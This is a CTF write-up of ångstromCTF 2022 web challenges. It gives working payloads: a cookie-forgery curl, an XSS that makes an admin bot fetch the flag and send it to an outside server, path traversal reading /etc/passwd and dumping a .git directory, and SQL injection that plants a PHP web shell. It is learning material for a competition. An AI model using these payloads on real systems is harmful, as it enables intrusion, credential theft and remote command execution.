[ångstromCTF 2022] My own writeup
ångstromCTF 2022 was held at Sat, April 30, 00:00 — Wed, May 04, 23:59 (UTC). Since I mainly solved the web, I will write the writeup.
[web] The Flash
Problem Statement :
The new Justice League movies nerfed the Flash, so clam made his own rendition! Can you get the flag before the Flash swaps it out at the speed of light?
Problem Server : https://the-flash.web.actf.co/
Basically, the dummy flag is displayed on the web page, but the real flag is displayed for a moment. I didn’t have the idea of detecting and stopping the change in the DOM, so I took a video of the screen and stopped it at a place like that.
[web] Auth Skip
Problem Statement :
Clam was doing his angstromCTF flag% speedrun when he ran into the infamous timesink known in the speedrunning community as "auth". Can you pull off the legendary auth skip and get the flag?
Problem Server : https://auth-skip.web.actf.co/
Distributed files : index.js
const express = require("express");
const path = require("path");
const cookieParser = require("cookie-parser");
const app = express();
const port = Number(process.env.PORT) || 8080;
const flag = process.env.FLAG || "actf{placeholder_flag}";
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.post("/login", (req, res) => {
if (
req.body.username !== "admin" ||
req.body.password !== Math.random().toString()
) {
res.status(401).type("text/plain").send("incorrect login");
} else {
res.cookie("user", "admin");
res.redirect("/");
}
});
app.get("/", (req, res) => {
if (req.cookies.user === "admin") {
res.type("text/plain").send(flag);
} else {
res.sendFile(path.join(__dirname, "index.html"));
}
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
From the following, it can be seen that the flag can be obtained by sending user = admin
as a cookie.
app.get("/", (req, res) => {
if (req.cookies.user === "admin") {
res.type("text/plain").send(flag);
} else {
res.sendFile(path.join(__dirname, "index.html"));
}
});
Send user = admin
as a cookie to get the flag.
$ curl -H 'Cookie: user=admin;' https://auth-skip.web.actf.co/
actf{passwordless_authentication_is_the_new_hip_thing}
[web] crumbs
Problem Statement :
Follow the crumbs.
Problem Server : https://crumbs.web.actf.co/
Distributed files : index.js
const express = require("express");
const crypto = require("crypto");
const app = express();
const port = Number(process.env.PORT) || 8080;
const flag = process.env.FLAG || "actf{placeholder_flag}";
const paths = {};
let curr = crypto.randomUUID();
let first = curr;
for (let i = 0; i < 1000; ++i) {
paths[curr] = crypto.randomUUID();
curr = paths[curr];
}
paths[curr] = "flag";
app.use(express.urlencoded({ extended: false }));
app.get("/:slug", (req, res) => {
if (paths[req.params.slug] === "flag") {
res.status(200).type("text/plain").send(flag);
} else if (paths[req.params.slug]) {
res.status(200)
.type("text/plain")
.send(`Go to ${paths[req.params.slug]}`);
} else {
res.status(200).type("text/plain").send("Broke the trail of crumbs...");
}
});
app.get("/", (req, res) => {
res.status(200).type("text/plain").send(`Go to ${first}`);
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
If you look at index.js
, you can see that it looks like this:
paths[UUID1] = UUID2
paths[UUID2] = UUID3
...
paths[UUID1000] = "flag"
And from the following, it can be seen that a flag can be obtained by sending UUID1000 as a path parameter.
app.get("/:slug", (req, res) => {
if (paths[req.params.slug] === "flag") {
res.status(200).type("text/plain").send(flag);
} else if (paths[req.params.slug]) {
res.status(200)
.type("text/plain")
.send(`Go to ${paths[req.params.slug]}`);
} else {
res.status(200).type("text/plain").send("Broke the trail of crumbs...");
}
});
If you GET /
, you will get UUID1, so you can obediently ask for UUID2 or later and get the flag as follows.
import requests
r = requests.get("https://crumbs.web.actf.co/")
path = r.text.split()[2]
while True:
r = requests.get("https://crumbs.web.actf.co/"+path)
if ("actf{" in r.text) or (r.status_code != 200):
print(r.text) # actf{w4ke_up_to_th3_m0on_6bdc10d7c6d5}
break
path = r.text.split()[2]
[web] Xtra Salty Sardines
Problem Statement :
Clam was intensely brainstorming new challenge ideas, when his stomach growled! He opened his favorite tin of salty sardines, took a bite out of them, and then got a revolutionary new challenge idea. What if he wrote a site with an extremely suggestive acronym?
Promblem Server : https://xtra-salty-sardines.web.actf.co, https://admin-bot.actf.co/xtra-salty-sardines
Distributed Files : index.js
const express = require("express");
const path = require("path");
const fs = require("fs");
const cookieParser = require("cookie-parser");
const app = express();
const port = Number(process.env.PORT) || 8080;
const sardines = {};
const alpha = "abcdefghijklmnopqrstuvwxyz";
const secret = process.env.ADMIN_SECRET || "secretpw";
const flag = process.env.FLAG || "actf{placeholder_flag}";
function genId() {
let ret = "";
for (let i = 0; i < 10; i++) {
ret += alpha[Math.floor(Math.random() * alpha.length)];
}
return ret;
}
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
app.post("/mksardine", (req, res) => {
if (!req.body.name) {
res.status(400).type("text/plain").send("please include a name");
return;
}
// no pesky chars allowed
const name = req.body.name
.replace("&", "&")
.replace('"', """)
.replace("'", "'")
.replace("<", "<")
.replace(">", ">");
if (name.length === 0 || name.length > 2048) {
res.status(400)
.type("text/plain")
.send("sardine name must be 1-2048 chars");
return;
}
const id = genId();
sardines[id] = name;
res.redirect("/sardines/" + id);
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.get("/sardines/:sardine", (req, res) => {
const name = sardines[req.params.sardine];
if (!name) {
res.status(404).type("text/plain").send("sardine not found :(");
return;
}
const sardine = fs
.readFileSync(path.join(__dirname, "sardine.html"), "utf8")
.replaceAll("$NAME", name.replaceAll("$", "$$$$"));
res.type("text/html").send(sardine);
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
Firstly, https://xtra-salty-sardines.web.actf.co.
If you POST name to /mksardine
, the page will transition and name will be displayed.
In addition, the name is sanitized as follows.
const name = req.body.name
.replace("&", "&")
.replace('"', """)
.replace("'", "'")
.replace("<", "<")
.replace(">", ">");
Now, if you send a payload like, <% foo><x foo="%><script>javascript:alert(1)</script>">
as name, XSS will fire. This payload was borrowed from xss-payload-list.
There is also another site called admin bot where admin bots can access /flag
. And if you can access /flag
, you will get flag.
// the admin bot will be able to access this
app.get("/flag", (req, res) => {
if (req.cookies.secret === secret) {
res.send(flag);
} else {
res.send("you can't view this >:(");
}
});
Here, send the following payload as name to get the URL that XSS fires. Have the admin bot GET /flag
and send the response flag to its own server.
<% foo><x foo="%><script>(async()=>{hoge=await fetch(`https://xtra-salty-sardines.web.actf.co/flag`).then((res)=>res.text());fetch(`https://<URL of own server set up by request bin etc.>/?flag=${hoge}`)})();</script>">
If you send the URL that the acquired XSS fires with the admin bot, the flag will be sent to your server.
[web] Art Gallery
Problem Statement :
bosh left his image gallery service running.... quick, git all of his secrets before he deletes them!!! source
Promblem Server : https://art-gallery.web.actf.co/
Distributed Files : index.js
const express = require('express');
const path = require("path");
const app = express();
const port = Number(process.env.PORT) || 8080;
app.get("/gallery", (req, res) => {
res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
res.sendFile(path.join(__dirname, "error.html"))
});
});
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "index.html"));
});
app.listen(port, () => {
console.log(`Server listening on port ${port}.`);
});
Pay attention to the following part. Suspect Local File Inclusion (LFI) because you can insert any string into req.query.number
and res.sendFile
is executed.
app.get("/gallery", (req, res) => {
res.sendFile(path.join(__dirname, "images", req.query.member), (err) => {
res.sendFile(path.join(__dirname, "error.html"))
});
});
After trying various things, you can see that /gallery?member=..///////..////..//////etc/passwd
can get /etc/passwd
.
$ curl "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
Also, when I GET /gallery
, I get an error. I know that the directory where the application is located is / app
.
TypeError [ERR_INVALID_ARG_TYPE]: The "path" argument must be of type string. Received undefined
at new NodeError (node:internal/errors:372:5)
at validateString (node:internal/validators:120:11)
at Object.join (node:path:1172:7)
at /app/index.js:8:23
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:144:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:286:22
at Function.process_params (/app/node_modules/express/lib/router/index.js:348:12)
Dockerfile can be taken with /gallery?member=..///////..////..//////app/Dockerfile
.
$ curl "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////app/Dockerfile"
FROM node:17-bullseye-slim
WORKDIR /app
COPY . .
RUN mv git .git
RUN npm ci
ENV PORT=8080
EXPOSE 8080
CMD ["node", "index.js"]
You can see that the .git
directory is located under / app
. Here, using git-dumper, dump the .git
directory. Below, the .git
directory is dumped under the local ./temp
.
$ git-dumper "https://art-gallery.web.actf.co/gallery?member=..///////..////..//////app/.git" ./temp
If you look at the log, you can see that flag.txt
was created and deleted.
$ cd temp
$ git log --stat
commit 1c584170fb33ae17a63e22456f19601efb1f23db (HEAD -> master)
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:47:45 2022 -0400
bury secrets
commit 713a4aba8af38c9507ced6ea41f602b105ca4101
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:48 2022 -0400
remove vital secrets
flag.txt | 1 -
1 file changed, 1 deletion(-)
commit 56449caeb7973b88f20d67b4c343cbb895aa6bc7
Author: imposter <sus@aplet.me>
Date: Tue Apr 26 21:44:01 2022 -0400
add program
error.html | 16 ++++
flag.txt | 1 +
images/aplet.jpg | Bin 0 -> 105281 bytes
images/cavocado.jpg | Bin 0 -> 824702 bytes
images/clam.jpg | Bin 0 -> 26164 bytes
images/emh.jpg | Bin 0 -> 63584 bytes
index.html | 25 +++++++
index.js | 19 +++++
package-lock.json | 432 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
package.json | 15 ++++
10 files changed, 508 insertions(+)
If you refer to the commit where flag.txt
existed, you can get the flag.
$ git show 56449caeb7973b88f20d67b4c343cbb895aa6bc7:flag.txt
actf{lfi_me_alone_and_git_out_341n4kaf5u59v}
[web] No Flags?
Problem Statement:
After hearing about all of the cheating scandals, clam decided to conduct a sting operation for ångstromCTF. He made a database of fake flags to see who submits them. Unbeknownst to him, a spy managed to sneak a real flag into his database. Can you find it?
Problem Server: https://no-flags.web.actf.co/
Distributed Files:
Dockerfile
FROM php:8.1.5-apache-bullseye
# executable that prints the flag
COPY printflag /printflag
RUN chmod 111 /printflag
COPY src /var/www/html
RUN chown -R root:root /var/www/html && chmod -R 555 /var/www/html
RUN mkdir /var/www/html/abyss &&\
chown -R root:root /var/www/html/abyss &&\
chmod -R 333 abyss
EXPOSE 80
index.php
<?php session_start(); ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>No Flags?</title>
<style>
body {
background-color: #f8bbd0;
}
h1, h2, li, input {
color: #560027;
}
h1, h2 {
font-family: sans-serif;
}
h1 {
font-size: 36px;
}
h2 {
font-size: 30px;
}
li, input {
font-size: 24px;
font-family: monospace;
}
input {
background: none;
border: 1px solid #880e4f;
border-radius: 5px;
}
</style>
</head>
<body>
<h1>List of Fake Flags</h1>
<ul>
<?php
if (!isset($_SESSION["DBNAME"])) {
$dbname = hash("sha256", (string) rand());
$_SESSION["DBNAME"] = $dbname;
$init = true;
} else {
$dbname = $_SESSION["DBNAME"];
$init = false;
}
$pdo = new PDO("sqlite:/tmp/$dbname.db");
if ($init) {
$pdo->exec("CREATE TABLE Flags (flag string); INSERT INTO Flags VALUES ('actf{not_the_flag}'), ('actf{maybe_the_flag}')");
}
if (isset($_POST["flag"])) {
$flag = $_POST["flag"];
$pdo->exec("INSERT INTO Flags VALUES ('$flag');");
}
foreach ($pdo->query("SELECT * FROM Flags") as $row) {
echo "<li>" . htmlspecialchars($row["flag"]) . "</li>";
}
?>
</ul>
<h2>Add a Fake Flag</h2>
<form action="/" method="POST">
<input type="text" name="flag" placeholder="flag...">
<input type="submit" value="Add">
</form>
</body>
</html>
From the following, we can see that any input can be inserted into the flag
parameter. We expect SQL injection to be possible.
if (isset($_POST["flag"])) {
$flag = $_POST["flag"];
$pdo->exec("INSERT INTO Flags VALUES ('$flag');");
}
After trying various things, it turns out that UNION Based injection is possible.
$ curl -X POST --data-urlencode "flag=1') UNION SELECT 1--" https://no-flags.web.actf.co/ # ok
$ curl -X POST --data-urlencode "flag=1') UNION SELECT 1,2--" https://no-flags.web.actf.co/ # error(not ok)
Now that SQL injection is possible, I think about connecting to RCE next. I can find this cheat sheet by doing various research.
RCE is possible by POST the following payload as flag
.
1') UNION SELECT 1; ATTACH DATABASE '/var/www/html/abyss/hoge.php' AS hoge; CREATE TABLE hoge.cmd (dataz text); INSERT INTO hoge.cmd (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--
We know from Dockerfile
that /printflag
is a binary that displays the flag, so run it to get the flag.
$ curl "https://no-flags.web.actf.co/abyss/crack.php?cmd=/printflag" --output -
��Cactf{why_do_people_still_use_php}ataz text)/GtablepwnpwnCREATE TABLE pwn (dataz text)1GtablehogehogeCREATE TABLE hoge (hoge text)
�� Iactf{why_do_people_still_use_php}
Thoughts
I was also working on Secure Vault, but it was a pity that I couldn’t make a plan to solve. It was a fun CTF with lots of difficult problems that I could solve if I worked hard at my own level.